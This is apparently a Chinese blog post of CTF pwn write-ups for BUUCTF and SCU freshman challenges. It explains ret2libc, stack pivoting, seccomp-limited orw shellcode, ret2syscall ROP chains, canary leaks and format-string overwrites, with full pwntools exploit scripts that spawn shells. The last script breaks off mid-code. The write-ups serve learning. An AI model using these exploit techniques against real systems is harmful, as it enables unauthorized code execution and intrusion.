pwn题exp小记(一)

T1d 2023-1-13 999 1/13

该系列文章主要是记录下一些刷题过程中做出来的一些题目的exp,可能比较简单但是做的时候花了不少时间踩了不少坑,如果有什么问题欢迎留言或私信我😍😍😍

SCU新生赛-ret2libc

一道64位的ret2libc题目,程序使用了read函数和puts函数,根据我们学习的ret2libc,攻击思路还是很清晰的。

这里read()函数是存在溢出的,我们可以利用这个溢出,构造一个puts()函数,将函数实际地址打印出来,然后利用read函数的实际地址计算出libc基地址,再计算system函数和binsh的地址。

坑一:泄露地址错误

首先一开始忘记了过滤前面的b'Do you know ret2libc?\n\n',这里还有一个小坑,在ida里面查看这句提示时只有一个回车,但是实际上会再换行一次做输入,因此这里需要过滤两次回车;其次是在获取泄露的真实地址时,64位程序地址后两位是0,用puts打印不出来,因此截取前六位即可,再用ljust补齐,这里也有一个小坑,在补齐时使用使用空字符而不是空格:

read_addr = p.recv(6)
read_addr = u64(read_addr.ljust(8,b'\00'))

坑二:查不到相应的libc

用LibcSearcher和在线网站都没能查到,因为是本地环境,所以直接查看当前虚拟机的libc库。可使用ldd命令来查看当前程序所使用的libc库地址:

pwn题exp小记(一)

在文件中导入库:

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

坑三:最后在提权时失败了

引用大佬的指导:

调用system时需要rsp 0x10 对齐,没成功就说明执行system时rsp末尾是8,那就在执行之前再执行一次ret(也就是pop_rdi+1),ret可以把rsp+8就对齐了

ps:①rsp单位是8字节,所以最后不是0x08就是0x10;②ret可以用(pop+1)也可以自己在gadgets寻找ret;③这种问题是随机的但是很常见,在遇到提权失败但其他步骤没有问题时可以尝试如此解决。

下面是该题文件和exp:

ret2libc

from pwn import *

elf = ELF('./pwn/ret2libc64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./pwn/ret2libc64')

start_addr = 0x04011D6
puts_plt = elf.plt['puts']
read_got = elf.got['read']
pop_rdi = 0x401333
payload1 = b'A'*40 + p64(pop_rdi) + p64(read_got) + p64(puts_plt) \
           + p64(start_addr)

p.recvuntil(b'Do you know ret2libc?\n\n')
p.sendline(payload1)
read_addr = p.recv(6)
read_addr = u64(read_addr.ljust(8,b'\00'))

print(hex(read_addr))
print(hex(libc.symbols[b'read']))

libc_base = read_addr - libc.symbols['read']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload2 =b'A'*40 + p64(pop_rdi+1) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)

p.sendline(payload2)
p.interactive()

[BUUCTF]-ciscn_2019_es_2

做的第一道栈迁移的题目,第一次看感觉“晦涩难懂”,看了很久才勉勉强强看明白,照猫画虎完成了这道题,简单分析一下这道题的个人理解吧。

原理:栈迁移

这里我就不装模做样解释了,直接看大佬的讲解吧,比我自己写的好得多:

主要是这一句:

别忘了,pop 指令是把栈顶的值弹到 指定的寄存器,也就是说 esp 会自动的减一个单位

当时我没当一回事,后面踩了大坑!这里的减一个单位换个说法就是esp会向下移动一位,这里很重要~

坑一:

一开始看见程序里面有个很显眼的后门函数hack(),很贴心,很善良,名字很闪亮,方法很简单顺手,刚刚好溢出返回地址就到这个函数,执行return system("echo flag");,解决了,一道简单的ret2text。

我看见打印出来的flag一脸懵逼,为什么是这个?

废物!

echo函数是打印字符串的,这里就是把flag四个字母打印出来罢了,蠢死了!

坑二:

system("/bin/sh")的时候直接写成了这样:

payload0 = p32(system_addr) + b'bbbb' + b'/bin/sh'

最后填了一个字符串进去,😓😓😓,这里太蠢了,应该先写入的是返回地址,再在这个地址写入字符串。

简而言之,前两个坑其实都是因为基础不扎实造成的😳

坑三:

看第二次输入的payload

payload0 = p32(1) + p32(system_addr) + b'bbbb' + p32(ebp_addr - 0x38 + 0x10) + b'/bin/sh'
payload0 = payload0.ljust(0x28, b'\00')
payload = payload0 + p32(ebp_addr - 0x38) + p32(leave_ret)

第一行是构造system("/bin/sh")存入栈,第二行是补齐长度便于后面溢出,第三行是构造返回地址,再执行栈迁移。

最开始我的payload0是长这样的:

payload0 = p32(system_addr) + b'bbbb' + p32(ebp_addr - 0x38 + 0x8) + b'/bin/sh'

差别就是这个p32(1),我在网上找了很久没看到为什么大家都在这里加了一个b'aaaa',仿佛自然而然,我就回过头去看栈迁移的原理,还记得刚刚标红的那行字吗,向下一位,所以我们这里最终执行的时候就跳过了p32(system_addr),因此我们在前面加上一个p32(1),这样下移了一位就刚好到我们需要的system

下面是该题文件和exp:

ciscn_2019_es_2

from pwn import *

p = remote('node4.buuoj.cn', 25446)
elf = ELF('./pwn/pwn')
libc = ELF('./pwn/libc/u18/libc-2.27-32.so')

payload1 = b'a' * 0x26 + b'bb'

p.send(payload1)
p.recvuntil(b'bb')
ebp_addr = u32(p.recv(4))

print(ebp_addr)

system_addr = elf.plt['system']
leave_ret = 0x08048562

payload0 = p32(1) + p32(system_addr) + b'bbbb' + p32(ebp_addr - 0x38 + 0x10) + b'/bin/sh'
payload0 = payload0.ljust(0x28, b'\00')
payload = payload0 + p32(ebp_addr - 0x38) + p32(leave_ret)

p.sendline(payload)

p.sendline(b'cat flag')
p.interactive()

[BUUCTF]-pwnable_orw

一道不一样的shellcode题型。第一次做这个题checksec检查保护:

Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

再加上打开题目以后看到

  orw_seccomp();
  printf("Give my your shellcode:");
  read(0, &shellcode, 0xC8u);
  ((void (*)(void))shellcode)();
  return 0;

所以看起来很简单很清晰,构造一个shellcode进去就可以了,好像很简单(bushi)🥵🥵🥵

很明显,自动生成的shellcode啥也没拿到,我以为是因为有长度限制,可是翻遍了所有函数也没看见哪里限制了,于是冷静下来分析函数。首先第一行这个东西好像没见过,点开看看:

unsigned int orw_seccomp()
{
  __int16 v1; // [esp+4h] [ebp-84h] BYREF
  char *v2; // [esp+8h] [ebp-80h]
  char v3[96]; // [esp+Ch] [ebp-7Ch] BYREF
  unsigned int v4; // [esp+6Ch] [ebp-1Ch]

  v4 = __readgsdword(0x14u);
  qmemcpy(v3, &unk_8048640, sizeof(v3));
  v1 = 12;
  v2 = v3;
  prctl(38, 1, 0, 0, 0);
  prctl(22, 2, &v1);
  return __readgsdword(0x14u) ^ v4;
}

嗯,很混乱,不认识,挨着查了查。第一个__readgsdword(0x14u)类似于canary,和最后的return __readgsdword(0x14u) ^ v4对应,就是一个对于溢出的检查,可以简单地将它理解为read函数;第二个是qmemcpy(v3, &unk_8048640, sizeof(v3)),我们在一位逆向佬的博客里面找到了这个函数的作用,是一个复制内存数据的函数,和这里的限制没什么关系,跳过;最后一个是prctl(),看了看网上的资料,找到了对它的介绍:

prctl是基本的进程管理函数,最原始的沙箱规则就是通过prctl函数来实现的,它可以决定有哪些系统调用函数可以被调用,哪些系统调用函数不能被调用。

再顺便了解一下沙箱:

沙箱(Sandbox)是程序运行过程中的一种隔离机制,其目的是限制不可信进程和不可信代码的访问权限。seccomp是内核中的一种安全机制,seccomp可以在程序中禁用掉一些系统调用来达到保护系统安全的目的,seccomp规则的设置,可以使用prctl函数和seccomp函数族。

好的,可以了,看见这个名字了吗——seccomp,显然这个函数就是用来限制我们调用系统命令的。我们用文中介绍的工具来查看本题我们可以调用哪些系统调用:

seccomp-tools dump ./orw

 

 line      CODE      JT        JF               K
=================================
0000:  0x20     0x00    0x00   0x00000004                                A = arch
0001:   0x15     0x00     0x09   0x40000003                                if (A != ARCH_I386) goto 0011
0002:  0x20     0x00    0x00   0x00000000                                A = sys_number
0003:  0x15     0x07     0x00   0x000000ad                                 if (A == rt_sigreturn) goto 0011
0004:  0x15     0x06    0x00   0x00000077                                  if (A == sigreturn) goto 0011
0005:  0x15     0x05    0x00   0x000000fc                                   if (A == exit_group) goto 0011
0006:  0x15     0x04    0x00   0x00000001                                  if (A == exit) goto 0011
0007:  0x15     0x03    0x00   0x00000005                                  if (A == open) goto 0011
0008:  0x15     0x02    0x00   0x00000003                                 if (A == read) goto 0011
0009:  0x15     0x01    0x00   0x00000004                                  if (A == write) goto 0011
0010:  0x06     0x00   0x00   0x00050026                                  return ERRNO(38)
0011:   0x06     0x00   0x00   0x7fff0000                                     return ALLOW

可以看到我们还可以使用open,read,write命令,这就是题干中的orw了(绕了一大圈)🤗🤗🤗

接着我们就用shellcraft来构造我们需要的shellcode:

open(‘/flag’)
read(3,buf,0x100)
write(1,buf,0x100)

函数里面的第一个数字是文件描述符(fd) : 0 1 2 3 代表标准的输出输入和出错,其他打开的文件,第三个数字表示期望得到的内容大小,这个根据实际情况填写即可。

在调用open函数后,rsp为栈指针寄存器,指向buf

所以最终exp和题目文件:

orw

from pwn import *

r = remote('node4.buuoj.cn', 27810)

sh_open = shellcraft.open('flag')
sh_read = shellcraft.read(3, 'esp', 0x100)
sh_write = shellcraft.write(1, 'esp', 0x100)

shellcode = asm(sh_open + sh_read + sh_write)
r.sendline(shellcode)

r.interactive()

[BUUCTF]-inndy_rop

一道稍微麻烦一点的的ret2syscall。

检查保护:

 Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

正常保护,拖到ida里面去分析一下。打开花了一点时间,是个静态编译的文件,结构及其简捷,直接main函数一个gets溢出,然后就没了。这道题直接搜不出“/bin/sh”字符串,也没有找到system函数,所以自己写吧。

如果我们有“/bin/sh”字符串,那么按照32位系统调用规则,构造payload:

payload = b'a' * 16 + p32(pop_eax) + p32(execve_sys) + p32(pop_ebx) + p32(binsh_addr) + p32(pop_ecx) + p32(0) + p32(pop_edx) + p32(0) + p32(int_80)

这里我们在寻找int 0x80的时候,看见ropper显示了两个地址:

(rop/ELF/x86)> search int 0x80
[INFO] Searching for gadgets: int 0x80

[INFO] File: rop
0x0806c943: int 0x80;
0x0806f430: int 0x80; ret;

以前我们使用的是第一个地址,今天我们可能还需要用到第二个。

现在我们需要自己写入一个字符串,这里使用两种方法:

法一:

我们还是使用系统调用,这里不是调用execve了,而是调用read,找到read函数的系统调用号:

#define __NR_read 3

再来看看read函数的参数:

ssize_t read(int fd,void*buf,size_t count)

fd:文件描述符

buf:为读取数据的缓冲区

count:每次读取的字节数

也就是说我们要传入三个参数,和调用execve是一样的,就用我们构造第二段的寄存器即可。这里fd上面一题已经提到过了,这里是标准输入,那么fd就是0;buf是一个可写入的地址,我们用gdb的vmmap查看存在可以读写的段,直接用elf.bss() + 0x800即可;count一样按照自己读取字符串长度写入就行,可以大于字符串长度但是不可以小于。

最后是执行指令,这里还记得我们寻找寄存器时用的是pop * , ret,因为没有ret就中止了,所以这里我们需要和后面的execve接上就要用int 0x80,ret而不是仅仅是int 0x80

所以最终的payload:

payload = b'a' * 16 + p32(pop_eax) + p32(read_sys) + p32(pop_ebx) + p32(0) + p32(pop_ecx) + p32(buf_addr) + p32(pop_edx) + p32(0x10) + p32(int_80_ret) \
          + p32(pop_eax) + p32(execve_sys) + p32(pop_ebx) + p32(buf_addr) + p32(pop_ecx) + p32(0) + p32(pop_edx) + p32(0) + p32(int_80)

execve部分的字符串地址已经用buf地址替换了。

法二:

题目给了我们gets函数了那就直接用呗,这里我们用来pop_ebx传参,直接接上后面的execve就行了:

payload = b'a' * 16 + p32(gets_addr) + p32(pop_ebx) + p32(buf_addr) \
          + p32(pop_eax) + p32(execve_sys) + p32(pop_ebx) + p32(buf_addr) + p32(pop_ecx) + p32(0) + p32(pop_edx) + p32(0) + p32(int_80)

那么最终我们的exp和题目就是:

rop

from pwn import *

p = process('./pwn/rop')
elf = ELF('./pwn/rop')

int_80_ret = 0x0806f430
int_80 = 0x0806c943

pop_eax = 0x080b8016
pop_ebx = 0x080481c9
pop_ecx = 0x080de769
pop_edx = 0x0806ecda

buf_addr = elf.bss() + 0x800

read_sys = 0x3
execve_sys = 0xb
gets_addr = elf.sym['gets']

# payload = b'a' * 16 + p32(pop_eax) + p32(read_sys) + p32(pop_ebx) + p32(0) + p32(pop_ecx) + p32(buf_addr) + p32(pop_edx) + p32(0x10) + p32(int_80_ret) \
#           + p32(pop_eax) + p32(execve_sys) + p32(pop_ebx) + p32(buf_addr) + p32(pop_ecx) + p32(0) + p32(pop_edx) + p32(0) + p32(int_80)

payload = b'a' * 16 + p32(gets_addr) + p32(pop_ebx) + p32(buf_addr) \
          + p32(pop_eax) + p32(execve_sys) + p32(pop_ebx) + p32(buf_addr) + p32(pop_ecx) + p32(0) + p32(pop_edx) + p32(0) + p32(int_80)

p.sendline(payload)
p.sendline(b'/bin/sh\00')

p.interactive()

这里不得不提到万能的ROPgadget,提供了一个命令:会自己从程序里面找gadget片段,然后拼接出shellcode:

ROPgadget --binary rop --ropchain

这个命令会自己从程序里面找gadget片段,然后拼接出shellcode,下面是这种做法的exp:

from pwn import *
from struct import pack

r = process('./pwn/rop')

p = b'a' * 16
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

r.sendline(p)
r.interactive()

[BUUCTF]-others_babystack

题目本身没什么好说的,简单的canary保护,通过覆盖cannary前面的所有栈空间带出canary,主要是后面处理上,在泄露真实地址和提权的时候,我们的返回地址都是主函数,所以要实现打印要先退出新开的进程才会打印出来。

最后是完整exp和题目链接:

babystack

from pwn import *

p = remote('node4.buuoj.cn', 28822)
elf = ELF('./pwn/babystack')
libc = ELF('./pwn/libc/u16/libc-2.23-64.so')

payload1 = b'a' * 0x88

p.recvuntil(b'>>')
p.sendline(b'1')
p.sendline(payload1)
p.recvuntil(b'>>')
p.sendline(b'2')
p.recvuntil(b'a\n')

canary = u64(p.recv(7).rjust(8, b'\00'))
print(hex(canary))

pop_rdi = 0x0000000000400a93
ret_addr = 0x000000000040067e
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x0400908
payload2 = b'a' * 0x88 + p64(canary) + b'a' * 0x8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.recvuntil(b'>>')
p.sendline(b'1')
p.sendline(payload2)
p.recvuntil(b'>>')
p.sendline(b'3')

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\00'))

print(hex(puts_addr))

base_addr = puts_addr - libc.symbols['puts']
system_addr = base_addr + libc.symbols['system']
binsh_addr = base_addr + next(libc.search(b'/bin/sh'))

payload3 = b'a' * 0x88 + p64(canary) + b'a' * 0x8 + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

p.recvuntil(b'>>')
p.sendline(b'1')
p.sendline(payload3)
p.recvuntil(b'>>')
p.sendline(b'3')

p.sendline(b'cat flag')
p.interactive()

SCU新生赛-2048_game-rev

又是一道当年没解出来的题,前一道2048出题人翻车了,设置的游戏目标分数过低一下子就被玩出来了,所以这次设置的是ffffffff,也就是-1,这下玩不出来了只能老老实实解了。

先驾轻就熟地看看开了什么保护:

 Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

嗯,保护全开,出题人果然不是什么好东西真是个好人,那我们运行一下,还是熟悉的2048,那就拿到ida看看吧。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v4; // eax
  char v5; // [rsp+1Fh] [rbp-B1h]
  FILE *stream; // [rsp+20h] [rbp-B0h]
  size_t v7; // [rsp+28h] [rbp-A8h]
  char v8[16]; // [rsp+30h] [rbp-A0h] BYREF
  char buf[32]; // [rsp+40h] [rbp-90h] BYREF
  char s[104]; // [rsp+60h] [rbp-70h] BYREF
  unsigned __int64 v11; // [rsp+C8h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  alarm(0xF0u);
  if ( argc == 2 && !strcmp(argv[1], "test") )
    return test();
  if ( argc == 2 && !strcmp(argv[1], "blackwhite") )
    scheme = 1;
  if ( argc == 2 && !strcmp(argv[1], "bluered") )
    scheme = 2;
  printf("\x1B[?25l\x1B[2J");
  __sysv_signal(2, signal_callback_handler);
  initBoard((__int64)v8);
  while ( 1 )
  {
    if ( read(0, buf, 0x20uLL) < 0 )
      err(1, "failed to get an input");
    v5 = buf[0];
    v4 = buf[0] - 65;
    if ( v4 <= 0x36 )
      __asm { jmp     rax }
    game_success = 0;
    snprintf(s, 0x64uLL, "> unknown cmd: %s", buf);
    printf(s);
    printf("\n\n \x1B[A\x1B[A");
    if ( game_success )
      break;
LABEL_23:
    if ( v5 == 113 )
    {
      puts("        QUIT? (y/n)         ");
      v5 = getchar();
      if ( v5 == 121 )
        goto LABEL_30;
      drawBoard(v8);
    }
    if ( v5 == 114 )
    {
      puts("       RESTART? (y/n)       ");
      if ( (unsigned __int8)getchar() == 121 )
        initBoard((__int64)v8);
      drawBoard(v8);
    }
  }
  drawBoard(v8);
  usleep(0x249F0u);
  addRandom((__int64)v8);
  drawBoard(v8);
  if ( !(unsigned __int8)gameEnded((__int64)v8) )
  {
    if ( score == success_score )
    {
      printf("Got %d! You are deserved to have a flag!\n", (unsigned int)score);
      stream = fopen("./flag", "r");
      if ( !stream )
        exit(1);
      do
      {
        v7 = fread(flag, 1uLL, 0x3FFuLL, stream);
        flag[v7] = 0;
        printf("%s", flag);
      }
      while ( v7 > 0x3FE );
      putchar(10);
      fclose(stream);
      exit(0);
    }
    goto LABEL_23;
  }
  puts("         GAME OVER          ");
LABEL_30:
  printf("\x1B[?25h\x1B[m");
  return 0;
}

看起来很复杂,但是出题人说考点不是逆向,所以我们可以想简单点,那就简单分析程序结构。一开始就是一个死循环,显然这个循环是我们操作2048的循环,循环的结束有两种方法,第一种是直接exit,跳转到最后,这显然不是我们想要的结束,第二种就是game_success不为0,而这个值初始化是0,程序运行过程中也没有对它有修改,那我们可能需要修改这个值。接下来是我们最喜欢的环节:fopen("./flag", "r")直接打印flag,这里有一个判定条件:score == success_score,所以我们现在基本上就是需要修改这两个值来获取flag。

接着我们要找程序漏洞,显然要我们输入它才会有漏洞,那我们就看需要我们输入的地方:

if ( read(0, buf, 0x20uLL) < 0 )
      err(1, "failed to get an input");
v5 = buf[0];
v4 = buf[0] - 65;
if ( v4 <= 0x36 )
      __asm { jmp     rax }
game_success = 0;
snprintf(s, 0x64uLL, "> unknown cmd: %s", buf);
printf(s);

这里很明显有一个格式化字符串漏洞,v5和v4是对输入的第一位进行处理,我们先不管他,输入:

AAAAAAAA  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p  %p

我们会发现输出出来的东西很混乱看起来很不舒服,也不知道到底是打印的第几位,因为我们可以看见输出位数限制为0x64,所以我们试试动态调试。

payload = b'BBBBBBBB' + b'  %p' * 8
p.recv()
gdb.attach(p)
pause()
p.sendline(payload)

我们查看刚输入进去时候的栈结构:

pwn题exp小记(一)

很明显找到填入地址,我们查看这个地址附近存了些什么:

pwn题exp小记(一)

我们的八个B已经填进去了,那我们继续执行,到输出出结果我们再查看栈里面的内容:

pwn题exp小记(一)

很惊讶地发现我们填进去的东西不一样了,只剩下了%p还在,再看看输出的东西:

> unknown cmd: 0x564391b4518e 0x7ffd6e9856ee
(nil) 0xffffffff 0x7ffd6e9854e0 0x7ffd6e985818 0x100000340 (nil)> unknown cmd:

emmm不得不说,我还是一脸茫然,但是标红的部分我们在栈里面也找到了,那我们数一数,大概在十四位的位置会泄露我们需要的东西。我们再改改payload:

payload = b'11111111' + b' %14$p'

这次我们把消失的字母换成了数字,因为我们怀疑字母被带入了游戏计算移动的过程,这次输出结果很完美:

> unknown cmd: 11111111 0x3131313131313131

这里请记住前面的> unknown cmd: ,后面我们还会提到它。现在我们知道具体偏移了,我们接下来要干吗呢?我们再来看看开始我们看到的栈里面填充的东西:

pwn题exp小记(一)

我们很容易发现有一个地方填充的是__libc_csu_init,这个东西我想大家都不陌生,我回到ida找到了它的位置:

0x2980

我又去got段找到了printf的地址:

0x4F60

由于相对位置的固定,我打算通过这种方式来找到printf函数的地址,为了验证我的猜想,我构造了这样的输入:

payload1 = b'11%27$pa'
p.send(payload1)
p.recvuntil(b'110x')
addr = int(p.recv(12), 16)

printf_got = addr - elf.sym['__libc_csu_init'] + elf.got['printf']

payload = b'11111111' + b'22%17$s'.ljust(0x10, b'2') + p64(printf_got)
p.send(payload)
p.recvuntil(b'22')
addr2 = u64(p.recv(6).ljust(8, b'\00'))
print(hex(addr2))

第一个是为了泄露我们刚刚看见的__libc_csu_init的地址,第二次是计算了相对位置后填入的printf_got地址,我们得到了想要的输出:

0x7f29e08a5c90

所以我们猜测是正确的,这里的__libc_csu_init的地址可以帮助我们算出任意一个我们需要的地址,所以我们找到了这两个的地址:

score:0x503C
game_success:0x5044

我们就可以计算出他们的真实地址。接下来就是对他们值的修改。这里我们需要把分数改成ffffffff这是一个很大的数,我们不方便一次性修改,于是我们选择两位两位修改,因为这里的死循环我们可以通过循环多次修改来实现,于是我们按照前面的方式构造的输入:

payload1 = b'11%27$pa'
p.send(payload1)
p.recvuntil(b'110x')
addr = int(p.recv(12), 16)

score_addr = addr - elf.sym['__libc_csu_init'] + 0x503c

payload = b'11111111' + b'11%230c%17$hhn'.ljust(0x10, b'2') + p64(score_addr)
p.send(payload)
p.recv()

payload = b'\00' * 0x40
p.send(payload)
p.recv()

payload = b'11111111' + b'22%17$s'.ljust(0x10, b'2') + p64(score_addr)
p.send(payload)
p.recvuntil(b'22')
score = u64(p.recv(6).ljust(8, b'\00'))
print(hex(score))

这里有四次输入,第一次是泄露真实地址,第四次是输出修改后的分数查看我们是否修改成功,第三次是做了一次栈的清空不然我们第四次的输出可能会存在一点点问题,重点是第二次输入,我们在前面输入了8个1因为前面的尝试我们知道1不会被程序处理掉,再在后面填入%xc%k$hnn,这里k很好算,前面的8位1加这里的ljust填满了16位,一共向后移了3位加上一开始的偏移14那就是17位,重点是这里的x。按照0xff-10=245来算的话我们应该填入245,执行程序得到分数:

0x32323232320e

多出来了15位,那我们减去15改成了230后就得到了正确的结果:

0x3232323232ff

还记得我们前面提到的东西吗,那一串输出的字符也被算入到填入的长度里面了😀所以这里要减少15位。

那我们每次把地址+1循环4次就修改了score了,同理修改game_success,这里可以偷个懒,只要改成不是0就行了,那我们直接改最后两位成ff,直接套用函数即可。

最终的exp和题目地址如下(记得自己构建flag文件不然没有回显):

target

from pwn import *

context(os='linux', arch='amd64')
p = process('./pwn/target')
elf = ELF('./pwn/target')

start_addr = elf.sym['__libc_csu_init']
score_addr = 0x503c
flag_addr = 0x5010
game_addr = 0x5044


def clean():
    payload = b'\00' * 0x40
    p.send(payload)
    p.recv()


def change(addr1, x):
    payload = b'11111111' + b'11%230c%17$hhn'.ljust(0x10, b'2') + p64(addr1 + x)
    p.send(payload)
    clean()


def print_score(addr2):
    payload = b'11111111' + b'22%17$s'.ljust(0x10, b'2') + p64(addr2)
    p.send(payload)
    p.recvuntil(b'22')
    addr2 = u64(p.recv(6).ljust(8, b'\00'))
    print(hex(addr2))


p.recv()
for i in range(4):
    p.send(b's\n')
    p.recv()
    p.send(b'w\n')
    p.recv()

payload1 = b'11%27$pa'
p.send(payload1)
p.recvuntil(b'110x')
addr = int(p.recv(12), 16)
clean()

score_addr = addr - start_addr + score_addr
flag_addr = addr - start_addr + flag_addr
game_addr = addr - start_addr + game_addr

for i in range(4):
    change(score_addr, i)

change(game_addr, 0)

p.recvuntil(b'You are deserved to have a flag!')
p.interactive()

SCU新生赛-fmt2

一道在bss段上的fmt,在网上找了好久也没有详细的讲解,只能纯靠猜想和试错自己摸索了一下,简单做个记录。

这次的保护中规中矩:

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

那我们看看代码:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  sub_401327();
  puts("Which thing changed?");
  while ( 1 )
  {
    puts("your input: ");
    read(0, format, 0x100uLL);
    if ( !strncmp(format, "exit", 4uLL) )
      break;
    printf(format);
  }
  return 0LL;
}

也是很明显的格式化字符串漏洞,只是这次字符串是在bss段而不是在栈上,处理方法就有了一些变化。

我们先试着打印几个地址看看会打印出什么:

%p %p %p %p %p %p %p %p %p %p %p
0x402026 0x65 0xffffffff 0xd (nil) (nil) 0x7ffff7de6083 0x50 0x7fffffffdef8 0x1f7faa7a0 0x401216

我们查看栈里面存了些啥:

pwn题exp小记(一)

很明显我们可以找到标红的地址在栈内的对应位置,那我们就掌握了偏移,同时我们找到了偏移为7的位置就是返回地址,偏移为9的位置是我们可以利用的二级指针。那我们初步构思便是利用题目提供的循环条件,一次次修改将返回地址修改成one_gadget以及需要满足的执行条件。

我们先挑选一下我们需要的one_gadget:

0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

就直接选第一个吧,我们还需要找到能修改r15和r12的gadget:

0x000000000040139c: pop r12; pop r13; pop r14; pop r15; ret;

一次性就解决了,现在我们需要做的就是把栈改成这样:

0x7fffffffde08    →    0x40139c
0x7fffffffde10    →    0
0x7fffffffde18    →    0
0x7fffffffde20    →    0
0x7fffffffde28    →    0
0x7fffffffde30    →    one_gadget

找到one_gadget的真实地址,我们需要先找到libc的基地址,通过2048那道题,我们知道如何找寻基地址,这里如法炮制:

payload = b'%7$p'
p.recv()
p.send(payload)
p.recvuntil(b'0x')
libc_addr = int(p.recv(12), 16) - 243 - libc.symbols['__libc_start_main']
one_gadget_addr = libc_addr + 0xe3afe

得到地址后我们开始修改栈上的内容。

博主尝试发现,emmm,一次性改变四位似乎程序出现了未知的bug,所以博主索性就一个字节一个字节的变换,也就是两位两位来处理。这里困扰了博主许久,在无法向栈上写入而且改变只能靠偏移的时候博主怎样才能逐字节修改呢?

我们来看下面这个结构:

A   →    B   →   C   →    0x1234
B   →    C   →    0x1234
C   →    0x1234

我们知道在修改的时候我们事实上修改的是存放在该偏移处的指针所指向的内容,说人话就是,如果我们修改偏移为A处的内容,实际上我们修改的是C,同理要修改0x1234我们就需要修改偏移为B处。那么我们在这个基础上来实现我们想要的逐字节修改。

首先我们把B指向的位置改为C + 1,我们需要修改偏移为A处,修改后:

A   →    B   →   C + 1   →    0x0012
B   →    C + 1   →    0x0012
C + 1   →    0x0012

现在我们再对偏移为B处做修改就能将它改为:

A   →    B   →   C + 1   →    0x0043
B   →    C + 1   →    0x0043
C + 1   →    0x0043

接着我们再把B指向的位置改回来:

A   →    B   →   C   →    0x4334
B   →    C   →    0x4334
C   →    0x4334

此时再修改:

A   →    B   →   C   →    0x4321
B   →    C   →    0x4321
C   →    0x4321

这样我们就可以对任意位置做修改了,因为我们只需要操纵这个C去指向我们需要修改的位置就可以实现任意修改了。

在这个题修改过程中我们在布置连续四个0的时候会发现有一个0应该在我们二级指针的位置,这个时候我们可以先不修改,把后面都改完之后把此处的C指向任意一个为0的地址即可。

我们看看修改后的栈内存储:pwn题exp小记(一)

已经变成了我们预想的样子,现在只需要退出while循环执行ret指令就可以实现提权,通过代码我们可以看出退出是通过输入exit来实现的,所以我们最后输入exit即可。

下面是题目链接和完整exp:

fmt-2

from pwn import *


def play():
    context(os='linux', arch='amd64')
    p = process('./pwn/fmt-2')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

    payload = b'%7$p'
    p.recv()
    p.send(payload)
    p.recvuntil(b'0x')
    libc_addr = int(p.recv(12), 16) - 243 - libc.symbols['__libc_start_main']
    one_gadget_addr = libc_addr + 0xe3afe

    # 逐字节取出
    one_gadget_add_12 = int(str(hex(one_gadget_addr))[12:14], 16)
    one_gadget_add_34 = int(str(hex(one_gadget_addr))[10:12], 16)
    one_gadget_add_56 = int(str(hex(one_gadget_addr))[8:10], 16)
    one_gadget_add_78 = int(str(hex(one_gadget_addr))[6:8], 16)
    one_gadget_add_910 = int(str(hex(one_gadget_addr))[4:6], 16)
    one_gadget_add_1112 = int(str(hex(one_gadget_addr))[2:4], 16)

    payload = b'%9$p'
    p.recv()
